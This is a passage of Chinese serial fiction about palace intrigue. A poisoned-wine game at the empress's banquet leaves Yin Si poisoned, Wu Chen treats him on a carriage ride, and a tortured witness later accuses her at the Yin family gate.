皇后道:“嗯,来日叫御医好生调理着,莫要坏了身体。哈哈哈,本宫年岁大了,一谈起家事竟没完了......李尚宫,秋日里上好的佳酿,去安排吧。”
“是,皇后娘娘。”
孙同知小人得志般,得意道:“皇后娘娘,既然殷公子才说对巫侍卫使有意,不如改改规则,再看看公子的诚意如何?”
“孙同知,适可而止罢。”,魏监使出言制止。
孙同知却完全不搭理魏监使,继续自顾自说着:“每轮三杯酒,两杯无毒,一杯有毒。若巫侍卫使喝,仅需一杯;若殷公子喝,需喝两杯,如何?”
巫辰起身,对皇后道:“皇后娘娘,臣一人,每轮饮两杯就好。”
皇后轻笑道:“嗯,如此便好。”
仙宁此时面色已微微泛白,显有见过此等场面,诸事也皆因自己而起,正无比自责,“阿辰.....怎么办......”
巫辰全然未感惧怕,只是淡淡道:“无事,我信你。”,仙宁闻言稍松下一口气。
侍从三人从席间轻步走过,每人手中托盘上置于三盏玉樽,酒色琥珀光满盈,若不知有毒,皆是令人垂涎不已的佳酿。
仙宁认真盯着第一盘中的三枚杯盏,极为仔细,一手轻抬,目光游移,久久难定。
“这.....这杯,嗯......没有毒。”
巫辰未经思考,分毫未存怀疑,欲将其拿起。
仙宁却紧张阻止,又复犹豫,眉头紧蹙,难决道:“不不不......不,等等!这杯,换这杯。”
堂中其余朝臣见仙宁这般模糊选择,皆是窃窃偷笑。
“好。”,巫辰执起杯盏,眸中果决,一饮而尽。
仙宁指向另一杯,“.....嗯,这杯.....无毒。”
巫辰饮下第二杯。
旁人皆未有响动,静待巫辰的反应。
片刻后,皇后笑道:“国师果然厉害,看来,算对了。”
“换下一盘。”,李尚宫于一旁吩咐。
“是。”,侍女换上下一轮酒水。
“阿辰,这杯是有毒的。”,仙宁直指有毒的一杯,已然万分确定。
“好。”,巫辰接连擎杯,仰首间,酒液尽入喉,未觉凛烈。
侍女端上第三盘,俯身跪于仙宁身旁,示意仙宁可开始选择。
仙宁双唇紧抿,双眸中透着人人皆可见的慌乱与紧张,手指于两者间徘徊,似是难以抉择。
殷思于一旁淡淡道:“大人选吧,无事的。”
仙宁仍是不知所措,眼中满是踌躇。
孙同知却得意道:“怎么?国师大人竟算不出了?”
众人议论肆起:“啧......什么可知天命,不过如此。”
巫辰与殷思皆察觉不对劲,却未有动作。
“那.....这杯......”,仙宁额间已是细汗涔涔,眼神求助,望向巫辰,转言道:“不,这杯吧......”
巫辰执起酒杯,正欲饮下。
“等等。”,东方羽灵却出言阻止,堂间众人皆疑惑看向她,东方羽灵起身移步,裙摆微动,身姿端庄走向巫辰所在方向,言语轻缓道:“方才宴前,我失手摔了巫大人的酒。这杯,我来喝,如何?”
话语间拿过巫辰手中的杯盏,巫辰未有一语,只是冷冷看着眼前的东方羽灵。
皇后却严肃制止:“羽灵
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,坐回去,不要闹。”
“姑母,前些日子边关大捷,国师所测算的时间、地点乃至将领,皆是有目共睹的准确无误;大苍的未来,也还需国师大人的启示,我认为国师,完全可信。今日赌酒,又只是家宴游戏,这酒谁来喝,应都是一样的,不过是讨个佳节的彩头,愿国师助大苍,永昌。”
“......”,东方羽灵话语方落,众人皆静,其音清正,措辞雅正且条理分明,无人再执其余意见。
东方羽灵举杯正欲饮下,许久未有动静的殷思却猛地一挥袖。
轰————————
本是稳稳当当的案桌轰然倒地,杯盏倾碎一地,酒水溅洒开来。
“小姐小心!”,东方羽灵手中杯盏于巨响中滑落,东方家侍女忙去扶她,东方羽灵面上却未见惊诧失色。
丝竹之声戛然而止,众人一瞬间失了往日镇定,皆被吓住;随后纷乱声渐起,满是疑惑与不满,唯有巫辰静坐席间。
皇后面色骤冷,怒声斥道:“殷思!你放肆了!”,随后怒而起身,“可是国侯近日不在家中,疏于管教了?”
众人俯身齐道:“皇后娘娘息怒!”
“皇后娘娘息怒,是臣唐突了。只是这佳酿,实在不愿被东方大人从我钦天监抢了去。”,说着执起一旁侍女手中玉盘内另外两杯酒盏。
“东方大人说了,既然只是彩头,谁喝都无所谓,那我向皇后娘娘讨了这酒,喝了。”,眉眼轻抬,说罢扬首倾杯,“我与李鹜,一同摘了彩头,皇后娘娘,莫要怪罪了。”,说着将另一杯置于身边的李鹜手中,却似是故意侧手。
“啊?.....我?”,李鹜面上疑惑,接过杯盏一个手抖,酒杯径直摔进了桌边盆景内,见闯了祸忙俯身道:“诶......抱歉!皇后娘娘恕罪!”
众人皆不敢再语,只顾着皇后的反应,片刻后却闻有人轻声议论:“这......这李公子旁这盆景怎的......瞬间枯萎了!”
“是啊!李公子这杯是有毒的!”
与此同时,殷思猛感剧痛难忍,气血倒流间,口中鲜血顺唇边涌出,点点残红洒落宴间。
“公子!公子怎么了......”
“公子!公子这是中毒了!”
“......公子。”
随行侍从忙来扶殷思。
“小思......”,仙宁缩在桌边,泪珠似珍珠断线,簌簌而落,“怎么办......阿辰......”,紧紧拉住身旁巫辰,自责不已。
皇后重重击于桌边,华丽锦缎似乎牵起一阵风,桌上的茶盏同一时间随之晃动,怒视着堂中混乱局面,高声问责道:“李尚宫,为何两杯都是有毒的?”
李尚宫闻言忙跪地:“这......皇后娘娘恕罪,许是下人拿错,娘娘息怒!”
众人见皇后动怒,皆随之跪下劝道:“皇后娘娘息怒!”
“速传御医,赶快看看殷思如何!”,皇后关切吩咐,随后与身侧侍女轻声道:“去洛川请闵国侯归都。”
“是!”
巫辰趁着众人慌乱未注意,回身拉住被侍从围住的殷思,快速轻点可抑制毒素持续蔓延的穴位,保他暂无性命之忧。
皇后于堂中主位处环视,随后冷冷道:“李尚宫,你今日便去令八十仗责。这酒经手的其余人等,赐自尽。”
“是,臣的过失,甘愿受罚,请皇后娘娘息怒。”
......
15.碎梦轻语
车轮携风卷过烟尘,沙土四起,碾过青石,隆隆作响。
车身剧烈晃动,巫辰于颠簸中解开殷思层层衣物,面无表情,手下动作却是极快,极重。
殷思面色苍白,胸膛剧烈起伏,呼吸紧促,正与所中寒毒顽抗。
因巫辰突如其来的动作,殷思只好分出混沌的意识出手阻止,轻拽她的手腕处,虚弱道:“你……做什么。”
“解毒。”,巫辰冷淡回应,手上动作仍未停下。
殷思总算使上力气,慌乱按住她的手:“解毒就……解毒,扯我衣服做什么……”
巫辰却平静解释:“你今日所中虽仅为寒毒,却与先前的?纱之毒尤为相克,一寒一热,不会即刻发作,但两毒同在,不出半日便会心脉倒流。需用灸于身上打开创口引毒才可……”,涉及巫辰所擅的毒理,她的话竟破天荒得多了起来,却因情形紧张,殷思只好无奈打断她。
“好……好……”,未等将话说完,心口处剧痛袭来,脑中又是半刻滞空,鲜血于嘴角处溢出。
同坐车上的仙宁急的直哭,“小思!你怎么样……你……你不要死啊……都怪我……呜呜呜呜呜,我……”,忙用手去捂殷思涌血的嘴角,“阿辰.....你......你快救他......”
殷思强行使自己保持理智,稍缓后虚弱道:“能不能……能不能劳烦大人先坐……后面的车……”
“好!好好……你别着急,初鸣!快停一下,我要下车!”,仙宁闻言忙喊住正御马的初鸣。
“是!吁————”,初鸣即刻停马扶仙宁出车舆,“来,大人小心。”
“公子如何了?怎的看着更严重了……”,掀开车帘后忙关切问着。
殷思回应:“无事……御你的马……还有,去吩咐国师的车先回钦天监罢.....我们,回家。”
“是,公子!驾————”,仙宁离车后,又迅速拉紧缰绳,行往都城的殷家府邸。
巫辰立即将殷思肩膀处衣物褪去,冰冷的手指轻触皮肤,却顿感滚烫。
太烫了,无法忍受的炙热,神志几欲燃尽。
殷思难以自控,只好又去推巫辰的手。
巫辰却有些急了:“……干什么,不想活了。”
殷思低头喘着粗气,抬眼看向她的眼睛,竟察觉出一丝慌乱,故作轻松道:“女孩家……怎的扒人衣服……这么利索……”
巫辰此时无法对中毒的人下狠手,只好解释道:“不脱我看不到穴位。”
殷思额间冷汗沿面颊滑落,直至正微颤的唇角,竟挤出一丝笑意问道:“……你是怕我死吗?”
“你死,无所谓;我的局无人可掌,不行。”,巫辰已是无奈至极,紧盯他的眼睛道:“所以你最好活着。”
未得到想听的答案,就着郁结气血,悲苦之感凝结于心,泪滴悄然而下。
“……”
一声无法察觉的轻叹,「真是爱哭。」
......
殷思泄力间放开巫辰的手,巫辰侧身寻着殷思背部肌肉走向,精确找到可引出毒素的分枝上穴。指尖划过肩头皮肤,分枝上穴直下一寸半的位置,再向内横开半指,右手执短刀点刺放血。
巫辰难于现实中感知痛感,因此下刀极快,丝毫未理会眼前有明确痛感的人。
殷思忍痛闷哼,身体也一激,轻颤着默默道:“好……疼……”
“……”
巫辰手下动作一顿,说道:“乱动,会刺歪。”
“……怎么那么……疼。”,殷思闭目垂首,尽力忍痛。
“没有银针,只能用刀。”
巫辰轻轻划开第二刀,“别乱动。”
“嗯……”
“转过来。”,话语停顿,随后补充道:“这一下,也会疼。”
“……好。”,殷思未再看她,体温与面上皆是遭火烧灼一般。
巫辰食指寻取第四肋间,前正中线处,稍偏离心口的位置,刺膻中穴放血。
这次的力度,稍见轻缓。
过后,巫辰扯下自己衣摆处未染尘的布料,环住殷思身体包扎创口,正欲将殷思的衣服披回身上,却又被制止。
殷思轻声道:“不要……太热了……”
......
「脱也不行。」
「穿也不行。」
「莫名其妙的人。」,巫辰内心已是无奈至极。
所幸已无性命之忧,巫辰干脆停止动作,不再管他。
“多谢……”
殷思抬眼问道:“真的……不担心我会死吗?”
“现在不会死了。”,巫辰又说了毫不违心的实话。
“……”,片刻无言。
巫辰竟开始研究起眼前奇怪的人,天色已入夜幕,唯借不时隐约而现的月光,看清他的脸。
面颊处似有半干的泪痕,巫辰眨眼后恍惚一瞬,鬼使神差欲伸手触碰。
“……”,却被殷思躲开,绯红蔓延至耳根,“干……干什么……”
巫辰终于问出:“你总哭什么。”
殷思道:“小的时候……不想念书,或是不想习武了,哭上一哭,便可免了责打,还能休息半日……所以,习惯了。”
“现在不想做什么。”,巫辰怕他因失血睡去,导致错失观察两烈性毒同时入体的机会,仍耐心回应着。
殷思小声道:“……不想死吧。”
“哦。”
殷思转言问道:“……前些日子,你是在躲我吗?”
“没有。”,巫辰如实回答。
眼前的人却有些急了,拖着浑身的伤,反驳起来:“明明……明明就有……嘶……”,说话间放血的伤处传来撕裂的疼痛。
巫辰忙探向伤处查看,“渗血了,你不要乱动。”
“……这么颠簸,怎可能不动。”
“……”
缓过痛来,殷思认真道:“……巫辰,我是个男人……你……你这样碰我……总是不好的。”
“什么意思。”,巫辰歪头疑惑。
殷思道:“……男女有别。”
巫辰认真回忆道:“书里看过。”
殷思垂眸道:“先前,你……沐浴那次,怎可不穿衣服……就开门。”
“没分别。”,巫辰又是淡然回应。
“说什么呢……怎么没分别……唉,与你说不通的。”,而后皱眉抿抿唇问道:“展颜辰……你没有情绪吗?没有任何事,可牵动你的感受吗?常人有的那些……好的或是不好的感受……你都没有吗。”
巫辰回应干脆:“没有。”
“我……”,而后泪眼看向巫辰,“……我好冷。”
“是寒毒发作了,交替几次就会散了,冷就把衣服穿好。”,说着将殷思的衣服重新披上。
殷思笑道:“居然知道冷要穿衣的。”
“……”
安静许久后,殷思似是下了重要决定,小心翼翼问道。
“所以……你能抱抱我吗?”
巫辰只是看着他,神色除疑惑外,再无其他。
细微的呼吸,愈渐滚烫,周身空气,凝结后缓缓下沉。
意识恍惚间,殷思深知自己已然闯了祸,当巫辰鬓间发丝轻扫过鼻尖时,骤然清醒。
清醒也无用,只好等着她的反应。
袖间清风,散入沉沉永夜,相拥处,岁月无边。
一直等了很久,很久。
紧靠的身体间,有她平缓的呼吸起伏。
慌乱时盲目猜测着,若在平日里,殷思此时应早已被一刀了结了个干净;本应出现于颈间的寒刃,居然未在。
......<
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p>“你知道这个,是什么意思吗?”,殷思问道。
“……”,没有回应。
“有什么感觉吗……”
“没有。”,巫辰开口,语气如平常一般,冷淡、平静。
殷思追问:“那……会觉得生气吗?”
“不会。”
殷思释然一叹,隐约间泪意夺眶,“……原来真的什么都不懂。”
“……”
“巫辰……你身上好冷。”
“嗯,因为第一杯,便选错了。”
“你中毒了?”,一刻震惊后忙扶着巫辰肩膀,右肩伤口处却是吃痛:“嘶……”
“嗯。”说话间,巫辰自然扯下身上衣物,为殷思包扎起肩头。
殷思慌乱看着她,反复检查确认:“有没有事?毒该如何解……”
巫辰却道:“无事,展氏人百毒不侵。”
“……所以,最后一轮都是毒酒,皇后一定要你喝这酒,是这个原因?”
“不知道。”
殷思眉头一皱,想起前些日子在狱中见她时,明明和自己同时中毒,问道:“等等......那日你在敬过司,不是.....中毒了?”
巫辰冷言解释道:“那次吃多了。”,随后补充:“被人知道了身份,反倒好办。至少可知,谁想我死。”
殷思却只觉忧心:“……日后,再难平静了。”
“还冷吗。”,巫辰突然发问。
“……”
见未得回应,追问起来:“冷吗。”
殷思道:“你知道吗,你总这样说话……会让人误会。”
巫辰无奈长舒一口气,看着他认真道:“我没有关心你,我只想知道现在是否寒毒在发作,寒毒热毒共存极为少见,若可知两毒交替的具体时间,日后……”
“……哦,原是拿我试毒的。你还知道关心呢。”
“殷思,我虽离家早,但读过书的。”
“我知道……”
......
殷思默默说着:“好冷的……还能再抱抱你吗?”
再入他怀中,还是没有感觉。
应有何种感觉,巫辰不会知道,也不想知道。
殷思却还在不厌其烦得发问:“我碰你……不会想要拒绝吗。”
“不会。”,巫辰照常如实回答。
殷思将脸埋入巫辰肩头,肩膀处隐隐可感受到他微弱的气息,殷思又问道:“那换作别人呢?别人也可以吗……”,声音离身体极近,音色也变得沉闷不清。
巫辰答道:“没分别。”
「应是没分别吧。」,巫辰暗暗与自己确认,「肯定没分别。」
殷思却笑道:“……是吗。”
“阿颜……”,殷思于耳边轻声道。
竟是梦中的称呼,巫辰震惊之余身体微微一颤。
「还是未逃过梦中的预言情境......」
涉及梦魇,巫辰顿感神思恍惚,呼吸也于不经意间稍稍加快。
殷思注意到她的反应,忙问道:“怎么了?”
巫辰追问:“为何唤我阿颜。”
“我也不知道。”
“......”
殷思笑道:“听到了。”
“什么?”,巫辰勉强于纷乱意识中苏醒,想要知道更多。
“你的心跳。”
“是吗。”
殷思轻轻叹气,道:“嗯,抱歉……”
巫辰已然思绪游离,木然问道:“什么抱歉?”
殷思道:“没什么......在你看,我很讨厌吧。就这一次好不好.....往后,我再也不敢了。”
“……”
「其实没有。」,巫辰细细想着,其余的,再难听懂了。
淡雾浮现障目,心魂飘荡,难自抑。
16.阿姐
淡雾浮现障目,心魂飘荡,熹微入眼,朝晖掩盖幽夜,彻夜无眠。
“公子,公子?我们到了!公......”,车轮停转,初鸣掀开车帘招呼着殷思下车,回身却见殷思正枕头于巫辰膝上安然睡着,巫辰却冷冷看着他,被这样的眼神盯过半瞬便感背脊发凉,一时间未敢再开口。
巫辰找准殷思背上创口的位置,直直戳了上去。
“嗯......疼......”,殷思瞬间醒过来,坐起身,看着巫辰回忆起昨晚之事,心虚又不知所措。
“咳咳.....公子?下.....下车罢......侯爷,正在门口......”,初鸣打破尴尬气氛。
殷思对巫辰道:“一起吧。”
巫辰未有回应与动作,殷思只好独自下车。
“公子,我扶您!”
殷府门前,侍女、小厮、家仆浩浩荡荡站了许多人,若是不知实情,会以为这大阵仗是要迎有功之臣回府。
门前殷家侍从恭敬道:“请公子安。”
“嗯。”
“侯爷好,王姨娘好、孟姨娘好、封姨娘好!”,初鸣向几位家主请安。
孟姨娘站于最前,见殷思归家忙要去迎,“溯理回来了!侯.....”,回身却见闵国侯冷脸肃目,轻咳几声停滞了脚步。
殷思看向正端坐于轮椅的长姐,小心观察她的神情,面上虽未含怒意,眼里却是失望与无奈,殷思只好小心道:“阿姐.....”
巫辰下车,几位姨娘很是好奇,齐齐看了过去,孟姨娘问道:“这位是?”
“钦天监侍卫使,巫辰。见过侯爷,请侯爷安,请各位姨娘安。”,巫辰俯首恭敬道。
孟姨娘似乎很是满意,正欲上前扶她:“嗯嗯嗯,你就是巫辰,真有礼.....啧.....”,却被身后的封姨娘拉住。
“令栩,打他。”
王姨娘不忍道:“这.....侯爷,溯理看着面色不大好,许是有伤未愈,还是别......”
殷怀疏仍坚持道:“打。”
“......”,在场人皆未敢言。
“怎么?要我站起来亲自打吗?”
殷思忙上前跪于殷怀疏身前,着急解释着:“阿姐,事出突然,我才......”,话未说完,一记重重的耳光落在他脸上,一时间周遭噤声。
殷思恍惚间再难跪稳,几欲倾倒,面上红痕渐显,初鸣忙去扶他,“公子!”
“无事。”,而后接着跪好,等殷怀疏再开口。
“你好自为之。”,殷怀疏深色淡然,未见情绪,“令栩,我们进去,传家法,接着打。”
“......是。”
初鸣着急追上去喊着:“侯爷!等等啊侯爷!可不能再打公子了!公子才中了毒的,身体可不好了,侯爷……”
孟姨娘上前,满眼担心道:“溯理,先去宗祠跪着吧。”,而后随众人离开。
“是.....”
......
殷氏宗祠内,微弱光线透不进窗棂,殷思跪于阴影之中,神色黯然。
“父亲,母亲......我又惹阿姐生气了。”
回忆之潮,悄没心田。
......
殷思自小最喜看阿姐于草场上的纵马英姿,骏马飞驰时,她眼神专注向着远处,发丝肆意飞扬着,面上的笑尽显从容。殷怀疏年长殷思十五岁,母亲早早过世,也显少见到父亲,长姐如母,殷思对她很是依赖、崇拜。
殷怀疏的马停下,殷思忙去喊她:“阿姐!我也想骑马!”
“哈哈哈,待溯理再大些,阿姐与你赛马如何?”
“我定能比阿姐骑得快的,不!父亲我也是要比过的,我定能赢了你们两人!”,说着忙跑到阿姐的马前。
殷怀疏俯身,伸手揉着殷思脑袋,笑道:“好啊!嗯.....若来日溯理赢了,阿姐将降骨弓赠你如何?”
“好!阿姐那可莫要舍不得弓,失信于我了!”
“一言为定,决不食言。”
......
殷思眼中,那样的阿姐,灿烂明媚,是冬日暖阳,是他追逐的方向。怎料好景不长,这样的女子被要求远离草场、刀剑,只做殷家端庄娴静的长女,背上重重枷锁,禁锢于深宅之中。
五岁时,父亲与阿姐激烈争吵着。
“为何男儿可征战沙场,为国效力,我却不行!父亲,我从不愿在殷家画地为牢,家宅,绝不能是我的归宿。”
殷思在一旁哭哭啼啼,紧紧攥着阿姐的衣角,躲在她身后,含糊说着:“阿姐......”
殷父无奈道:“阿疏,殷思还小,我又常年在外,唯你可掌家。殷家携亲兵驻守边关几十余年,君心难测,身为世家早已倍受忌惮,献都城中,断不可无殷家人在。”
殷怀疏长叹一气,带有些许哭腔道:“......可我不喜欢。”
“......什么时候不会因这等小事哭了鼻子,再来与我谈。”,说罢转身欲离开,停顿半刻似是想起什么,只对殷思道:“你也不许哭了!全叫你姐姐,你姨娘惯得没样了,整日就知道哭!”
“父亲.......”
那日之后,殷思再无机会赢过父亲。父亲离都后,与边境外族交战时,遭临近几国的突袭围剿,数月后归家的只剩殷家战旗。
阿姐也再未落过泪。
......
阿姐二十二岁,受命领亲军驻守边关,临行前嘱咐殷思一定要好好练习箭术、马术。
殷思虽感不舍,却由衷为她感到高兴,他知道阿姐是属于那里的,守城为国,为她所愿。
每每阿姐打了胜仗归来,殷思总是忍不住缠着阿姐多陪陪自己,说着不愿她离开,久而久之,阿姐竟不愿多见他了。
任何人不想在生死未卜的途中,留下太多牵挂。
殷思苦练箭术,只盼得到一声夸赞。为数不多的见面,姐弟两人都未再提赛马一事。
大苍边境与天隆的仗,一打便是三年之久。殷思十五岁时瞒着几位姨娘悄悄进了殿前司,想着来日可与阿姐并肩,共
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守边关。也是十五岁那年,第一次见到同样鲜活耀眼的展颜辰,殷思心中紧绷的箭弦,终于得空松懈下来,人生似乎除了去追随那些拼尽全力也难以企及的人,还有其他意义。
一年后,展家覆败。殷思作为殿前司入展府参与清算,阴差阳错时右臂被展颜辰所伤经脉尽断,再也无法启弓用箭。殷思没有怪她,也不应怪她,反而愧疚多年,遗憾着未能救下他人生中唯一一抹色彩。在当众说出展家被屠的可疑之处后,竟无人信他,不久后便等来阿姐战时遭到暗算、双腿残废的消息,殷家一夜间只剩下两个废人。
殷怀疏归家后,依照承诺将降骨弓赠予殷思。家宅,却永远成了她的归宿,再也无力离开。
一语成谶,赛马没有赢过阿姐和父亲,自己再也不能执弓,殷思在如愿拿到自己盼了十几年的降骨弓后,只能每日看着它,感受痛苦。
之后的八年,殷思学会收起锋芒,从此不再是献都箭术第一的少年郎,只当整日花天酒地得纨绔公子。因往日教育,殷思心气极高,也最擅捕捉他人情绪态度,遭受冷言与鄙夷,很不好受;那样装傻犯混,生生活成另一人的样子,很痛苦,但殷家已然再无庇护,岌岌可危,引人忌惮后若行错一步,便会失去仅剩的温存。
殷思不怕被打,更不怕被骂,只怕阿姐失望的神情。
......
无眠辗转时,他也悄悄恨过那个带给他希望却又亲手断送他一切的展颜辰,清醒释怀过后只好认了是自己无用,才会护不住任何人。多年的挂念、愧疚、遗憾与恨交织成了执念。再见展颜辰,她已成了巫辰,辰星回到原本的轨迹继续闪耀,一切生机复苏,活着的意义,也重新出现。
巫辰却是个行事狠厉但未谙世事的,殷思害怕自己多年压抑的情、欲有一日会伤害到她,但还是在忍不住靠近,直至沉醉,迷失自已。
......
“......公子!公子——————————”
哐哐哐!
哐哐哐!
“您还好吗公子!哎呦.....怎的喊这么半天都没反应......”
“公子!侯爷交代了,说马上入冬了新伤难愈,就不打您了,您且在宗祠呆一日,明日便能出来了!”
“......公子!你理理我啊!你还活着吗.....”
宗祠外的初鸣边敲着门边焦急喊着屋内的殷思。
“诶,巫侍卫使好。”
殷思听见她来了,总算回过神,试探问道:“巫辰?”
“切.....果然在装听不见,我嗓子都要喊哑了!竟那么半天不理我!”
殷思发现被初鸣诓骗,冷言道:“初鸣,你完了。”
初鸣隔着门笑道:“嘿嘿,公子您别生气,吃的我放在门前了,记得‘偷偷’开门拿进去。”
“哦,对了公子!巫大人原本要来的,半路被侯爷叫走啦!”
殷思诧异道:“什么?”
“走咯!”
“初鸣.....初鸣?回来。回来说清楚......”
17.再分别
长夜漫漫,寻得月挂疏桐处,无寄愁思,殷氏宗祠。
“巫辰?”,屋内的殷思似是听得屋外动静。
“......”
殷思隔着门扉问道:“怎么不理我。”,极轻的声音却于无人寂夜中,异常明显。
巫辰道:“不想理。”
“我阿姐与你......说了什么吗?”
“......”
“还是没有展颜钦的消息吗。”,巫辰转言问起正事,还在钦天监时,便托殷思将展家毒传至献都城内,以寻兄长的消息。
“嗯。”,隔着门,仅可隐约看到门前的身影转身,缓缓坐下,背靠在门上,紧闭的门扉发出轻微响动。
殷思道:“说是近日频有高门贵族外出遇险,皆是用的展家毒。记得你曾说过很缺钱,不如去卖解药好了。”,因他坐下,出声的位置发生变化,巫辰渐渐难以听清他的声音,干脆也坐于门前,抬眼望着孤月,朦胧不清,君影于身侧,门扉相隔的不只是两人,还有模糊难懂的心意。
巫辰侧脸对着门内的人道:“殷思,这才是你的真面目吧,嘴上淬了毒,很没有素质。”
“......不知是谁在嘴上下毒,还咬人。”
“还冷吗。”,巫辰避开回应。
殷思似是有些不耐烦,“不知道不知道,别再拿我试毒。我很惜命的,莫要哪日失手,将我毒死了。”,后一句却掺杂着巫辰不懂的情绪。
“......”
框框——
“巫辰,我想看星星。”,殷思轻敲两人中间的门扉。
星穹几点,黯若残烛,微光入目,照不清巫辰眸中神色。
巫辰垂眸,眼中映射残光被覆上一片幽影,淡淡道:“今夜的星星,没什么特别的,唯有颗赤星高悬于南边,相邻的几颗光亮微弱,看起来像是累了。”
“红鸾星?”
“不知道。”
屋内的殷思沉默半刻,问道:“巫辰,你是如何看我的?”
“......”,巫辰无奈,不懂他为何每日都有问不完的无聊问题。
“你讨厌我吗?”
“......”
“讨厌我?”,门那边的声音似是更近耳边。
巫辰只好道:“不讨厌。”
殷思却仍未放弃发问:“那.....你喜欢我吗?”
“什么意思。”
“喜欢,你不知道喜欢是什么意思吗?你不是喜欢红色吗?”,殷思似是着急得到回应,门扉相连接连响动。
巫辰却疑惑道:“人,如何说成喜欢。”
“与我说话时,有没有觉得轻松?与我见面前,可有期待?与我对视时,心跳可有加快?”,又是一连串的奇怪问题。
巫辰深吸一口气,低眉思考后,认真答道:“不喜欢和你说话,不喜欢和你见面,和你对视就想杀你。”
“.......啊?”,殷思先是因巫辰的回答微楞,而后似是反应过来,不禁笑道:“那不就是讨厌我。”
“没有。”
殷思语气落寞道:“.......我总是读不懂你的心意。”
巫辰道:“不用懂。”,说罢拾起门前因风吹打落的半截枯瘦枝丫,自顾自在地上写起字来。
“......?”
巫辰不知怎的,脑海中浮现两字,问道:“溯理,怎么写的。”
“怎么问起这个......溯源寻迹,唯求真理。”
“哦。”,巫辰手执断枝,默默写起——溯、理。
巫辰手上力道不小,树枝的末端与砖石紧挨摩擦时,留下浅浅字迹,寒风略过时,消散无影。
“你可以叫我溯理的。”
巫辰却道:“难听,不想叫。”,说罢将手中断枝立于沙土中。
“......”,殷思被噎得不知如何回应。
“东方羽灵可信吗?”,巫辰想起宫宴那日,东方羽灵手拿兄长的亲笔手记,巫辰是想要回那手记的,家人留下的,本就不多。
殷思道:“......若觉得她有用,仅利用就好,无需信她的。”
“那日宫宴上,她不像是皇后的人。”,东方羽灵说话的语气虽古怪,巫辰却并不讨厌她。细想东方羽灵与皇后的对话,更像是表面亲近,实际却是不合的。
殷思却笑道:“巫大人如今这么容易便轻信他人了?”
巫辰问道:“世家东方氏,现今如何。”
殷思道:“东方羽灵的父亲曾为东宫太傅,也算是太子一派,但新帝登基,她姑母又为皇后,东方家依然受利,只是名声有些许不好罢了。东方羽灵祖父东方诺天早年为国子监祭酒,学生遍布天下,多数现今仍在朝为官,后经......经‘荔平案’,东方家立首功,东方诺天获封国公太尉,至今,应是未有衰败之向的。”
“什么‘荔平案’?”
“很长,今夜讲不完。”
“......”,巫辰未在追问,两人片刻无言,巫辰仔细盯着一旁断枝月影。
“那日东方羽灵,与你......咳.....咳咳......”,殷思话说到一半,猛地一咳,身形微晃。
巫辰拔去立于沙土间的断枝,丢到一旁,淡淡道:“十二个时辰,第二次毒发的时间,很准时。”
“???”
“咳......咳咳咳.....你......还在拿我试毒?怪不得如此耐心和我说了这么半天......”,门那边的殷思似是呼吸困难,身体带着紧靠的门扉吱吖作响。
巫辰起身,将一白瓷瓶置于门前,道:“把这个喝了,你就没事了。”
殷思总算顺好体内血气,虚弱道:“......巫辰。”
“多谢。”
......
三日后,殷府前,熙攘之声盈耳。
殷怀疏冷言道:“来我殷家要人?叫齐尚书亲自来。”
一男子身形消瘦,站于人群之中,乃刑部司陆堇,拱手恭敬道:“侯爷,在下也只是朝廷里办差的,此次是有关这荔平一案的余党奸细,我们上上下下都是不敢疏忽,无意冒犯您,但也请侯爷莫要为难下官了。”
随后补充道:“......先前那刺客招供说,一切行动消息皆来自缙华堂,怎料我们带人到洛川见了缙华堂中所有姑娘,竟无一人对得上号。唯有一人,于事发前,离了缙华堂,说是当时胜了总选,去了钦天监相护国师平安。近几日都中传言,这国师暗卫与殷公子,关系匪浅......”
殷怀疏怒道:“你放肆!”
“侯爷息怒,下官不是说怀疑殷公子与此事有关,只是想带那已被抓了的刺客来认认人......给缙华堂个清白。”
......
一旁封姨娘小声嘱咐侍女道:“去请公子过来,还有那位巫侍卫使。”
“姨娘.....这......”
“快去。”,封姨娘皱眉,眼中不悦,
“是。”,侍女只得遵照吩咐。
孟姨娘疑惑道:“你这是做什么?”
“你傻了?那巫侍卫若是真有问题,只会牵连了溯理。”
孟姨娘面上发愁,担忧道:“可溯理对她......”
“溯理已是因她伤了多次,她绝非善类。”,封姨娘所言,确实无可辩驳。
......
枯树之下,残叶堆叠,风过处,徒留萧索。
殷思见巫辰坐于树下,手上正捏着什么,看向巫辰疑惑问道:“这是在做什么?”
咯吱——咯吱——咯吱——
巫辰拾起一片枯叶,捏在手中,攥紧;再张开手掌时,破碎枯叶随风不见
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。
“......你捏叶子做什么。”
巫辰未抬头看殷思,仍自顾自捏着叶子玩,淡淡道:“无聊。”
咯吱——咯吱——
殷思道:“明日,明日便回钦天监。”,殷思一归家,竟不愿离开了。
“嗯。”
“不好了!!公子!!”,初鸣一路大喊,找到殷思焦急道:“快把巫侍卫使藏起来......今日一早,刑部便乌泱泱来了许多人,说是要查当年荔平案余党,带了什么证人来,要见巫侍卫使......”
传话的侍女一同赶到,怯怯道:“公子......侯爷那边.....请您和巫大人过去一趟。”
初鸣皱眉:“侍卫使怎么能过去!明摆着是冲着她来的!!”
殷思道:“我来解决。”
巫辰直接问一旁的侍女:“在哪儿?”
“巫辰,无事的,我可以解决。别去,好吗?”
巫辰盯着殷思认真道:“我不会连累你,不会连累殷家,你可以全身而退。”
殷思解释道:“我不是这个意思.....我想你平安,此事来得突然,绝不简单,定是皇......”
巫辰打断道:“殷思,你的家,不是很重要吗?我们又不熟,不值得吧。”
“我们不熟吗......”,殷思双眸微垂。
巫辰不再管殷思的反应,跟着侍女离开了。
“侍卫使!!!!不要去!!!公子,你快去就她呀.....”,初鸣焦急对着殷思道,一时间竟忘了规矩,欲直接上手拉走殷思。
......
陆堇道:“见过殷公子,见过巫侍卫使。”,随后转身吩咐道:“把人带出来。”
“是,大人。”,几个侍卫从车舆中拉出一个女人,她一袭白衣已被血污沾染,青丝凌乱地散在脸颊两侧,眼神空洞。
陆堇拽起女人的头,逼其看向眼前的巫辰:“看清楚了,一直与你传递消息的,是她吗?”
“......”
“是......是她......”,女人开口,声音嘶哑。
陆堇嘴角微微一勾,得逞般笑道:“大声些,让侯爷和殷公子,听清楚点儿。”
“缙.....华堂的细作......是.....就是她......”,满口的诬陷,巫辰却不觉意外。
“带走。”,陆堇身后其余侍卫欲上前动手。
殷思冷言道:“我看谁敢动?”
“殷公子,您是要为这位巫大人,作保吗?还是侯爷要作保?”
“谁教你的这么与我说话?”,殷思撇向陆堇,目中仅余狠厉。
